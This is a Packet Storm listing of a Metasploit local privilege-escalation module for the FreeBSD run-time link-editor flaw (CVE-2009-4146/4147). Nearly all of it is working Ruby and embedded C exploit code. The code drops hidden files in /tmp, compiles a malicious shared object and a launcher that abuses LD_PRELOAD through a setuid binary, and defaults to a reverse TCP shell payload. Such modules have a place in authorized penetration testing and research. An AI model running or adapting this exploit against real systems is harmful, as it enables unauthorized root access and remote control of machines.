FreeBSD rtld execl() Privilege Escalation

2019-05-22T00:00:00
ID PACKETSTORM:152997
Type packetstorm
Reporter stealth
Modified 2019-05-22T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FreeBSD rtld execl() Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in the FreeBSD  
run-time link-editor (rtld).  
  
The rtld `unsetenv()` function fails to remove `LD_*`  
environment variables if `__findenv()` fails.  
  
This can be abused to load arbitrary shared objects using  
`LD_PRELOAD`, resulting in privileged code execution.  
  
This module has been tested successfully on:  
  
FreeBSD 7.2-RELEASE (amd64); and  
FreeBSD 8.0-RELEASE (amd64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kingcope', # Independent discovery, public disclosure, and exploit  
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)  
'bcoles' # Metasploit (using Kingcope's exploit code [modified])  
],  
'DisclosureDate' => '2009-11-30',  
'Platform' => ['bsd'], # FreeBSD  
'Arch' =>  
[  
ARCH_X86,  
ARCH_X64,  
ARCH_ARMLE,  
ARCH_AARCH64,  
ARCH_PPC,  
ARCH_MIPSLE,  
ARCH_MIPSBE  
],  
'SessionTypes' => ['shell'],  
'References' =>  
[  
['BID', '37154'],  
['CVE', '2009-4146'],  
['CVE', '2009-4147'],  
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],  
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],  
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],  
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],  
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],  
['URL', 'https://securitytracker.com/id/1023250']  
],  
'Targets' => [['Automatic', {}]],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',  
'PrependSetresuid' => true,  
'PrependSetresgid' => true,  
'PrependFork' => true,  
'WfsDelay' => 10  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def suid_exe_path  
datastore['SUID_EXECUTABLE']  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def is_root?  
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')  
end  
  
def check  
kernel_release = cmd_exec('uname -r').to_s  
unless kernel_release =~ /^(7\.[012]|8\.0)/  
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"  
  
unless command_exists? 'gcc'  
vprint_error 'gcc is not installed'  
return CheckCode::Safe  
end  
print_good 'gcc is installed'  
  
unless setuid? suid_exe_path  
vprint_error "#{suid_exe_path} is not setuid"  
return CheckCode::Detected  
end  
vprint_good "#{suid_exe_path} is setuid"  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
if base_dir.length > 1_000  
fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000"  
end  
  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
  
executable_data = <<-EOF  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
  
void _init() {  
extern char **environ;  
environ=NULL;  
system("#{payload_path} &");  
}  
EOF  
  
executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
upload "#{executable_path}.c", executable_data  
output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall"  
register_file_for_cleanup "#{executable_path}.o"  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"  
end  
  
lib_name = ".#{rand_text_alphanumeric 5..10}"  
lib_path = "#{base_dir}/#{lib_name}"  
output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles"  
register_file_for_cleanup "#{lib_path}.0"  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{executable_path}.o failed to compile"  
end  
  
exploit_data = <<-EOF  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
int main() {  
extern char **environ;  
environ = (char**)calloc(8096, sizeof(char));  
  
environ[0] = (char*)calloc(1024, sizeof(char));  
environ[1] = (char*)calloc(1024, sizeof(char));  
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");  
  
return execl("#{suid_exe_path}", "", (char *)0);  
}  
EOF  
  
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
upload "#{exploit_path}.c", exploit_data  
output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall"  
register_file_for_cleanup exploit_path  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"  
end  
  
upload payload_path, generate_payload_exe  
chmod payload_path  
  
print_status 'Launching exploit...'  
output = cmd_exec exploit_path  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`